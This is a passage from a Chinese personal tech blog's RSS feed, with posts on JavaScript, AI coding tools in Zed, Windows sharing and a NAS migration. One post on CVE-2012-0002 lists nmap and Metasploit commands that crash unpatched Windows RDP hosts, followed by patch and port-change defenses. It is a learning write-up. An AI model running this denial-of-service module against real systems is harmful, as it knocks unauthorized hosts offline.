    document.write(&quot;二级&quot;);
} else {
    document.write(&quot;请输入的是一个数值&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里面的判断十分有意思，&lt;code&gt;==&lt;/code&gt;是等于的判断，&lt;code&gt;===&lt;/code&gt;是数据类型加上内容的判断。&lt;/p&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;语句对于我来说其实已经不算是关注点了，重要的其实是数据类型。现在才知道，在动态数据类型的语言中&lt;code&gt;===&lt;/code&gt;会比&lt;code&gt;==&lt;/code&gt;更严谨，之前看不上Python或许很大原因也是数据类型的严谨性并没有看到。&lt;/p&gt;
</content:encoded></item><item><title>AI Coder项目开发使用笔记</title><link>https://ivoinkwell.xyz/posts/projects/ai-coder-development/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/projects/ai-coder-development/</guid><pubDate>Tue, 07 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;概述&lt;/h2&gt;
&lt;p&gt;::github{repo=&quot;ivoinkwell/forum-anon&quot;}&lt;/p&gt;
&lt;p&gt;这个就是我和Qwen Code一起开发的项目，中间使用的编辑器是Zed，我个人最喜欢的一个编辑器，对于AI的集成功能是相当的不错，我下面准备写一下如何以最低成本换来比较好的个人+AI的开发体验。&lt;/p&gt;
&lt;p&gt;我觉得一下图片已经足够证明我有这个资格去写这么一篇文章：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/projects/ai-coder-development/image-20260407094016414.webp&quot; alt=&quot;edit_predictions&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Zed中的AI使用指南&lt;/h2&gt;
&lt;p&gt;在Zed中有这样的几种AI形式：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Agent&lt;/strong&gt; - 代码编写AI，类似于Trae的模式。Tokens消耗很大。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Inline Assistant&lt;/strong&gt; - 单行更改AI，比如&lt;code&gt;ctrl+enter&lt;/code&gt;输入多加一条30分一下的判断条件，自动增加。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Edit Predictions&lt;/strong&gt; - 行内补全，智能预测。对我个人而言，尤其在HTML的代码中十分有效果。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Agent&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/projects/ai-coder-development/image-20260407094816417.webp&quot; alt=&quot;image-20260407094816417&quot; /&gt;&lt;/p&gt;
&lt;p&gt;右侧的面板就是了，在这里比如对他说帮我构建一个Vue项目，他就能自动执行命令，创建文件，查看报错等等，在排错上有一定的效果。&lt;/p&gt;
&lt;p&gt;我们可以配置免费的智谱&lt;code&gt;glm-4.7-flash&lt;/code&gt;模型进行使用，这样，简单场景基本可以免费解决&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/projects/ai-coder-development/image-20260407124548877.webp&quot; alt=&quot;image-20260407124548877&quot; /&gt;&lt;/p&gt;
&lt;p&gt;但是相比OpenCode和Qwen Code这些专业的AI Coder还是有很大的差距的。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;但是，我们可以自己安装：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;点击加号，选择&lt;code&gt;Add More Agents&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/projects/ai-coder-development/image-20260407110427463.webp&quot; alt=&quot;image-20260407110427463&quot; /&gt;&lt;/p&gt;
&lt;p&gt;打开页面即可进行安装&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/projects/ai-coder-development/image-20260407110637483.webp&quot; alt=&quot;image-20260407110637483&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;ACP相关配置&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;环境&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这个环境是&lt;code&gt;本地环境&lt;/code&gt;，比如我SSH连接我的开发机，我的开发机上面就需要用官网的方式去安装&lt;code&gt;OpenCode&lt;/code&gt;和&lt;code&gt;Qwen Code&lt;/code&gt;才可以使用插件进行连接使用。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Qwen Code&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这个插件是我使用下来，还是需要进行一些配置的，如果不进行一些配置，可能会导致SSH连接的服务器上经常断联，按照官网上手动配置的写法写进官方的里面就行。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;agent_servers&quot;: {
    &quot;qwen-code&quot;: {
      &quot;type&quot;: &quot;custom&quot;,
      &quot;command&quot;: &quot;qwen&quot;,
      &quot;args&quot;: [&quot;--acp&quot;],
      &quot;env&quot;: {},
    },
  },
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Inline Assistant&lt;/h3&gt;
&lt;p&gt;一个行内的AI工具，对于我来说不太常用，但是用起来就算是API调用，消耗的tokens也是最少的。所以普通的轻量模型就行，但是经过尝试我没有办法使用智谱的任何模型运行成功&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/projects/ai-coder-development/image-20260407124237964.webp&quot; alt=&quot;image-20260407124237964&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这个是DeepSeek购买API的效果，消耗token极低，对于我来说，一个月5块钱左右基本就能拿下。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/projects/ai-coder-development/image-20260407124118354.webp&quot; alt=&quot;image-20260407124118354&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Edit Predictions&lt;/h3&gt;
&lt;p&gt;行内补全我尝试过很多，比如OpenAI API的格式调用任何模型，都没有成功过，所以自己调用免费模型应该是不行了，也就是这里的配置&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/projects/ai-coder-development/image-20260407124758438.webp&quot; alt=&quot;image-20260407124758438&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;也不是完全没有方法：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Zed自己家的Zeta模型不仅速度快，一个月一共有2000次机会，只有你按下&lt;code&gt;Tab&lt;/code&gt;按键确认才算一次，还是比较划算的。而且预测还不错&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/projects/ai-coder-development/image-20260407125313806.webp&quot; alt=&quot;image-20260407125313806&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/projects/ai-coder-development/image-20260407125324142.webp&quot; alt=&quot;image-20260407125324142&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;免费AI模型使用测试&lt;/h2&gt;
&lt;p&gt;刚刚买了MiniMax29块的一个包月Coding Plan接入了自己的OpenClaw，所以在一定程度上Inline Assistant可以暂时调用，但是以后还是需要免费的模型，所以硅基流动变成了现在的首选&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/projects/ai-coder-development/image-20260407142459527.webp&quot; alt=&quot;image-20260407142459527&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Inline Assistant&lt;/h3&gt;
&lt;p&gt;在这个里面我们尝试调用硅基流动的免费模型，似乎只有DeepSeek支持是最全的，包括FIM补全&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/projects/ai-coder-development/%7B52196BEF-7BD0-4882-A2B0-FB9290EEEFFE%7D.webp&quot; alt=&quot;{52196BEF-7BD0-4882-A2B0-FB9290EEEFFE}&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;在经过深入研究之后，我算是有了正确免费使用AI的一些个人见解：&lt;/p&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;行内补全：&lt;/strong&gt; Zed自带模型Zeta每月免费额度&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;行内更改：&lt;/strong&gt; 带FIM补全功能模型。目前国内似乎只有DeepSeek……&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Agent提问：&lt;/strong&gt; 我的方案是本地写小的类似博客的东西，大的项目全部在开发机上，所以开发机上安装Qwen&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;ps：希望你不要像我一样多花40多的API钱！&lt;/strong&gt;&lt;/p&gt;
</content:encoded></item><item><title>Windows Share</title><link>https://ivoinkwell.xyz/posts/system-basics/windows-share/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/system-basics/windows-share/</guid><pubDate>Tue, 07 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;概述&lt;/h2&gt;
&lt;p&gt;之前一直是使用别人写的php文件进行文件互传，这么大费周章的启动服务，放入源码，其实远远不如Windows自带的SMB共享服务来的快，但是之前一直都没有成功过，所以借着上课的时间简单研究了一下，或许是Windows的NTFS权限和Share的权限有些许的冲突吧。&lt;/p&gt;
&lt;h2&gt;配置共享&lt;/h2&gt;
&lt;h3&gt;界面&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/system-basics/windows-share/image-20260409111015349.webp&quot; alt=&quot;image-20260409111015349&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;配置&lt;/h3&gt;
&lt;p&gt;在上面的分享板块，也就是截图的&lt;code&gt;Network File and Folder Sharing&lt;/code&gt;里面，可以添加可访问的人员：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/system-basics/windows-share/image-20260409111230588.webp&quot; alt=&quot;image-20260409111230588&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在高级权限中，也就是截图中的&lt;code&gt;Advanced Sharing&lt;/code&gt;里面，即可设置共享路径&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/system-basics/windows-share/image-20260409113028135.webp&quot; alt=&quot;image-20260409113028135&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在密码保护，也就是截图中&lt;code&gt;Password Protection&lt;/code&gt;里面&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/system-basics/windows-share/%7BF9A1B348-8EA2-4192-A161-5AB1E04C31E4%7D.webp&quot; alt=&quot;{F9A1B348-8EA2-4192-A161-5AB1E04C31E4}&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;权限问题&lt;/h2&gt;
&lt;p&gt;之前我没有做过测试，但是问题出在权限上的概率是很大的，我一直在怀疑，之前我设置访问权限的时候系统没有自动将&lt;code&gt;Everyone&lt;/code&gt;用户加入NTFS的权限里面去，但是在Windows Server上面配置却一直没有任何问题，而且Windows Share也是建立在SMB服务的基础上，或许普通家庭用电脑的权限管理模型相比于服务器可能会弱一些吧……&lt;/p&gt;
</content:encoded></item><item><title>NAS数据迁移笔记</title><link>https://ivoinkwell.xyz/posts/specks/nas-data-migration/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/specks/nas-data-migration/</guid><pubDate>Sat, 04 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;简述&lt;/h2&gt;
&lt;h3&gt;迁移原因&lt;/h3&gt;
&lt;p&gt;最近也是获得了一个1TB的3.5寸硬盘，但是之前的NAS是笔记本，导致没有很好的办法安装与使用，所以我就将目光放在唯一一个可以放下的地方，我婆婆的那台2005年左右的AMD旧电脑上。&lt;/p&gt;
&lt;h3&gt;迁移方法&lt;/h3&gt;
&lt;p&gt;这一次因为是数据迁移，在迁移的时候需要保证旧设备可用的同时，逐步向新设备转移数据，和用户何时更换使用的NAS。&lt;/p&gt;
&lt;h2&gt;计划拟定&lt;/h2&gt;
&lt;p&gt;{{&amp;lt; timeline &amp;gt;}} {{&amp;lt; timelineItem icon=&quot;server&quot; header=&quot;1. 重装系统&quot; subheader=&quot;fnos&quot; &amp;gt;}} 给AMD台式机重装 fnos 系统 {{&amp;lt; /timelineItem &amp;gt;}} {{&amp;lt; timelineItem icon=&quot;hard-drive&quot; header=&quot;2. 扩容存储&quot; subheader=&quot;140G + 新增 1T 硬盘&quot; &amp;gt;}} 在原有 140G 磁盘基础上接入 1T 硬盘 {{&amp;lt; /timelineItem &amp;gt;}} {{&amp;lt; timelineItem icon=&quot;user&quot; header=&quot;3. 迁移个人账户数据&quot; subheader=&quot;迁移至 1T 硬盘&quot; &amp;gt;}} 将本人账户数据转移至新 1T 硬盘 {{&amp;lt; /timelineItem &amp;gt;}} {{&amp;lt; timelineItem icon=&quot;users&quot; header=&quot;4. 迁移其他用户数据&quot; subheader=&quot;迁移至原 NAS 机械硬盘&quot; &amp;gt;}} 将其他用户数据转移至原 NAS 机械硬盘 {{&amp;lt; /timelineItem &amp;gt;}} {{&amp;lt; timelineItem icon=&quot;refresh&quot; header=&quot;5. 重新挂载至新 NAS&quot; subheader=&quot;硬盘迁移与挂载&quot; &amp;gt;}} 迁移机械硬盘并重新挂载至新 NAS {{&amp;lt; /timelineItem &amp;gt;}} {{&amp;lt; /timeline &amp;gt;}}&lt;/p&gt;
&lt;h2&gt;计划实施&lt;/h2&gt;
&lt;h3&gt;重装系统&lt;/h3&gt;
&lt;p&gt;配置是这个样子：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/nas-data-migration/Screenshot_2026-03-29-21-59-13-170_com.trim.app.webp&quot; alt=&quot;Screenshot_2026-03-29-21-59-13-170_com.trim.app&quot; /&gt;&lt;/p&gt;
&lt;p&gt;装完系统之后发现了一个非常严重的问题——&lt;strong&gt;内存不够&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/nas-data-migration/Screenshot_2026-03-29-21-59-26-557_com.trim.app.webp&quot; alt=&quot;Screenshot_2026-03-29-21-59-26-557_com.trim.app&quot; /&gt;&lt;/p&gt;
&lt;p&gt;所以我决定买了一根内存条：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/nas-data-migration/IMG_20260404_080903.webp&quot; alt=&quot;IMG_20260404_080903&quot; /&gt;&lt;/p&gt;
&lt;p&gt;所以现在这样就比较舒服了：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/nas-data-migration/Screenshot_2026-04-03-18-37-06-733_com.trim.app.webp&quot; alt=&quot;Screenshot_2026-04-03-18-37-06-733_com.trim.app&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/nas-data-migration/Screenshot_2026-04-04-08-16-55-137_com.trim.app.webp&quot; alt=&quot;Screenshot_2026-04-04-08-16-55-137_com.trim.app&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;增加硬盘&lt;/h3&gt;
&lt;p&gt;旧机器上只有 &lt;strong&gt;4Pin IDE 供电接口&lt;/strong&gt;，无法直接给 SATA 硬盘的 &lt;strong&gt;15Pin 供电&lt;/strong&gt;使用，因此在网上购买了一根 &lt;strong&gt;4Pin IDE 转 SATA 一拖二供电转接线&lt;/strong&gt;。&lt;/p&gt;
&lt;h3&gt;转移数据&lt;/h3&gt;
&lt;p&gt;说到这里就不得不提我的数据迁移，前一天晚上七点开始迁移数据，一共300G左右使用飞牛自己的备份软件进行备份，第二天早上为了节约时间，快速去配置Syncthing，我四点钟爬起来一看，3点的时候停止备份显示部分备份成功。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;后面早上我使用一种方法终于是备份成功了：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/nas-data-migration/Image_1775086121773_294.webp&quot; alt=&quot;Image_1775086121773_294&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/nas-data-migration/Screenshot_2026-04-02-14-20-26-348_com.trim.app.webp&quot; alt=&quot;Screenshot_2026-04-02-14-20-26-348_com.trim.app&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我分成了两个部分，将本地影视文件夹作为单独的部分进行备份，终于是备份成功了。&lt;/p&gt;
&lt;h3&gt;迁移其他用户数据至原NAS的500G机械硬盘中&lt;/h3&gt;
&lt;p&gt;这个直接复制，也没有多少难度了……&lt;/p&gt;
&lt;h3&gt;迁移硬盘至新NAS&lt;/h3&gt;
&lt;p&gt;我之前说过，我的旧NAS是我的笔记本，所以这个机械硬盘是2.5寸的，所以想要装在台式机上还是需要点东西的，比如这个：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/nas-data-migration/Screenshot_2026-04-04-08-30-12-811_com.xunmeng.pinduoduo.webp&quot; alt=&quot;Screenshot_2026-04-04-08-30-12-811_com.xunmeng.pinduoduo&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最后装好之后是这样的：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/nas-data-migration/f89668ad-8284-433f-ab57-5f1467a19192.webp&quot; alt=&quot;f89668ad-8284-433f-ab57-5f1467a19192&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/nas-data-migration/c8201cd7-f72b-4c9f-94ae-fc4b85d71806.webp&quot; alt=&quot;c8201cd7-f72b-4c9f-94ae-fc4b85d71806&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;耗电&lt;/h2&gt;
&lt;p&gt;似乎电费确实会比专业NAS更多，尽管我已经给CPU的电压压到再往下就已经无法开机的程度，最高功率大概105W左右，平常待机正常60W，如果使用SMB会增加到70W左右。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/nas-data-migration/1D4A7B4BB07FF020788BDD590DC6FEE0.webp&quot; alt=&quot;1D4A7B4BB07FF020788BDD590DC6FEE0&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]&lt;/p&gt;
&lt;p&gt;相比于笔记本会少UPS，如果经常供电不够或者需要更高的稳定性一定要去增加一个防止出现硬盘坏掉的问题。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;偷偷讲一个小故事：猪老师的服务器之前就是因为类似这样的问题硬盘炸掉了……&lt;/strong&gt;&lt;/p&gt;
</content:encoded></item><item><title>JavaScript条件语句与循环语句</title><link>https://ivoinkwell.xyz/posts/web-frontend/javascript-conditionals-and-loops/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/web-frontend/javascript-conditionals-and-loops/</guid><pubDate>Wed, 01 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;概述&lt;/h2&gt;
&lt;p&gt;其实没什么可讲的也就是语句使用的规范性了，无非就是重温了在力扣刷过的算法题，还是在乘法表上面实践的。&lt;/p&gt;
&lt;h2&gt;条件语句&lt;/h2&gt;
&lt;h3&gt;if……else&lt;/h3&gt;
&lt;p&gt;这个几乎是一致的写法，不像多写了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;let score = 59;
if (score &amp;gt;= 60) {
  console.log(&quot;及格&quot;);
} else {
  console.log(&quot;不及格&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;switch&lt;/h3&gt;
&lt;p&gt;其实也半斤八两&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;let week = &quot;周一&quot;;
switch (week) {
  case &quot;周一&quot;: // case为字符串，JS支持
    console.log(&quot;工作日&quot;);
    break;
  case &quot;周日&quot;:
    console.log(&quot;休息日&quot;);
    break;
  default:
    console.log(&quot;其他日期&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;循环语句&lt;/h2&gt;
&lt;h3&gt;for()&lt;/h3&gt;
&lt;p&gt;这个或许要注意的就有了&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[!Tip] 语句条件之间的间隔
C语言是&lt;code&gt;,&lt;/code&gt;，但是JavaScript是&lt;code&gt;;&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;// 经典案例：九九乘法表（JS嵌套for循环）
console.log(&quot;JS 九九乘法表：&quot;);
for (let i = 1; i &amp;lt;= 9; i++) { // 外层控制行数
  let line = &quot;&quot;;
  for (let j = 1; j &amp;lt;= i; j++) { // 内层控制列数
    line += `${j}×${i}=${i*j}\t`;
  }
  console.log(line);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;While()和do……while()&lt;/h3&gt;
&lt;p&gt;没啥变化，都是相同的差别，但是&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[!Tip]&lt;/p&gt;
&lt;p&gt;一个先判断再执行，一个先执行再判断&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>Windows系统安全与CVE-2012-0002</title><link>https://ivoinkwell.xyz/posts/system-basics/windows-security-cve-2012-0002/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/system-basics/windows-security-cve-2012-0002/</guid><pubDate>Tue, 31 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;概述&lt;/h2&gt;
&lt;p&gt;我觉得对于一个男生来说，这个绝对是非常神圣的时刻，但是玩多了，不知道原理或许也会感到麻木。不过安全无小事，还是有很多可以记录的。&lt;/p&gt;
&lt;h2&gt;Windows安全基础工具&lt;/h2&gt;
&lt;p&gt;日志，这是一个必须要学会看的记录。这个记录会有系统所有的系统活动，包括登录，授权等信息，通过这些时间加上时间，就可以大致的推断出什么操作在什么时间影响了系统。&lt;/p&gt;
&lt;h3&gt;事件查看器&lt;/h3&gt;
&lt;p&gt;打开方式很多，Win+R，&lt;code&gt;eventvwr.msc&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/system-basics/windows-security-cve-2012-0002/image-20260331203029398.webp&quot; alt=&quot;image-20260331203029398&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以根据里面的分类查找所需的日志。&lt;/p&gt;
&lt;h3&gt;注册表编辑器&lt;/h3&gt;
&lt;p&gt;注册表是Windows所有设置，配置的存放的地方，自己使用肯定是能不碰绝对不去碰。不过对于服务器而言很多的设置在注册表里更改甚至比组策略编辑器还简单。&lt;strong&gt;打开方式，Win+R，&lt;code&gt;regedit&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/system-basics/windows-security-cve-2012-0002/image-20260331203401568.webp&quot; alt=&quot;image-20260331203401568&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;CVE-2012-0002&lt;/h2&gt;
&lt;h3&gt;问题出现地方，及受影响版本&lt;/h3&gt;
&lt;p&gt;这个漏洞是出现在RDP远程桌面上。受影响Windows版本：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Windows XP SP2 / SP3（含 x64 Edition SP2）&lt;/li&gt;
&lt;li&gt;Windows Server 2003 SP2&lt;/li&gt;
&lt;li&gt;Windows Vista SP2&lt;/li&gt;
&lt;li&gt;Windows Server 2008 SP2 / R2 / R2 SP1&lt;/li&gt;
&lt;li&gt;Windows 7（RTM / SP1）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;核心原理&lt;/h3&gt;
&lt;p&gt;最近一段时间我在迁移家里的NAS，虚拟机数据就没有办法再多加，所以暂时没有办法去实操，但是不影响我找到这样的图片：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/system-basics/windows-security-cve-2012-0002/5-1615889707.webp&quot; alt=&quot;5-1615889707&quot; /&gt;&lt;/p&gt;
&lt;p&gt;里面清楚写明是&lt;code&gt;Physical Memory Dump&lt;/code&gt;，也就是&lt;code&gt;物理内存转存储&lt;/code&gt;，也就是内存爆了之后Windows对于数据保全的措施。&lt;/p&gt;
&lt;p&gt;我大概了解了一下，Windows 的 RDP 有一个参数&lt;code&gt;MaxChannelIds&lt;/code&gt;，用于控制连接的设备通道数量，Kali 的攻击修改了这个参数，导致 Windows 误以为需要很多通道，从而增加 RDP 的内存分配，但是内存又不够大，所以导致爆栈。为了抢救内存数据转移至存储，所以出现&lt;code&gt;Physical Memory Dump&lt;/code&gt;的蓝屏提示。&lt;/p&gt;
&lt;h3&gt;攻击方法&lt;/h3&gt;
&lt;h4&gt;端口扫描&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;nmap -p 3389 【目标IP】
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;使用Metasploit框架&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;msfconsole
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;搜索漏洞&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;search CVE-2012-0002
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;加载漏洞模块&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;确定攻击主机IP&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;set RHOSTS 【目标IP】
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;开始攻击&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;run
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;防御&lt;/h3&gt;
&lt;h4&gt;安装补丁&lt;/h4&gt;
&lt;p&gt;这个很简单，正常去微软官网都能够找到。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
KB2621440&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;改为非标端口&lt;/h4&gt;
&lt;p&gt;RDP协议的端口默认就是3389，但是更改后想要打你的成本也就会上去，所以改成非标端口就行。&lt;/p&gt;
&lt;p&gt;打开注册表，定位：&lt;code&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp&lt;/code&gt;，修改&lt;code&gt;PortNumber&lt;/code&gt;键值为十进制的非标端口数字即可。&lt;/p&gt;
</content:encoded></item><item><title>拥抱Zed&amp;丢弃VSCode</title><link>https://ivoinkwell.xyz/posts/specks/zed-over-vscode/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/specks/zed-over-vscode/</guid><pubDate>Sun, 29 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;渣，这个字在很多地方都很常见，但是我觉得用于评价程序员对于编辑器的态度其实也不是不可以。毕竟相比于Zed之前我至少已经抛弃了JetBrains系列的以及课堂中别人最爱用的Hbuilder X。&lt;/p&gt;
&lt;h2&gt;拥抱Zed&lt;/h2&gt;
&lt;p&gt;其实这次重新拥抱其实是来源于不经意的一次尝试，我最终终于是在Zed上面连接上我家里用于暂时用于构建Hexo博客的服务器，至此我就可以完完全全的拥抱Zed。&lt;/p&gt;
&lt;h3&gt;Zed SSH踩坑&lt;/h3&gt;
&lt;p&gt;连接家里自己的SSH才是之前一直卡住的问题，OpenSSH客户端默认是有的，但是每次连接提示这个&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/zed-over-vscode/%E5%9B%BE%E7%89%87-79d09575510077328b3470488304b1b7.webp&quot; alt=&quot;图片-79d09575510077328b3470488304b1b7&quot; /&gt;&lt;/p&gt;
&lt;p&gt;也就是安全等级不够，我之前还真觉得没救了，所以直接果断放弃。但是，尝试一下在Powershell中输入这个&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssh root@192.168.1.5
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;出来问题的地方输入&lt;code&gt;yes&lt;/code&gt;后再输入用户密码——那么恭喜，在Powershell中就是成功连上了服务器，这个时候Zed再去连接就不会出现错误了。&lt;/p&gt;
&lt;h3&gt;Zed Git使用&lt;/h3&gt;
&lt;p&gt;说实话，VSCode的Git使用习惯之后直接填完&lt;code&gt;commit&lt;/code&gt;后直接按按钮&lt;code&gt;push&lt;/code&gt;，说实话真的快忘了英文了，但是Zed很统一，所有操作一律&lt;code&gt;Ctrl+Shift+P&lt;/code&gt;在面板输入，不仅高效，界面也简洁了，出了需要适应，基本就没有缺点了。&lt;/p&gt;
&lt;h2&gt;丢弃VSCode&lt;/h2&gt;
&lt;p&gt;最大原因是性能。虽然这个东西对于电脑配置不高，但是基于electron框架必然的现实就是性能差，在Atlas优化脚本下，Ultra5的轻薄本一样要停顿一下才能打开窗口，但是Zed几乎是没有延迟的秒开，快和Notepad++一个水平了。&lt;/p&gt;
&lt;p&gt;还有就是逻辑，可能是Zed的统一逻辑深深吸引了我，所以VSCode的逻辑杂乱肯定也是算一个的，效率那自然是键盘来的高，要不然Linux中也不会WM为王道了。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Zed AI这个东西后面再慢慢议，毕竟我暂时需要用到的场景还少……&lt;/strong&gt;&lt;/p&gt;
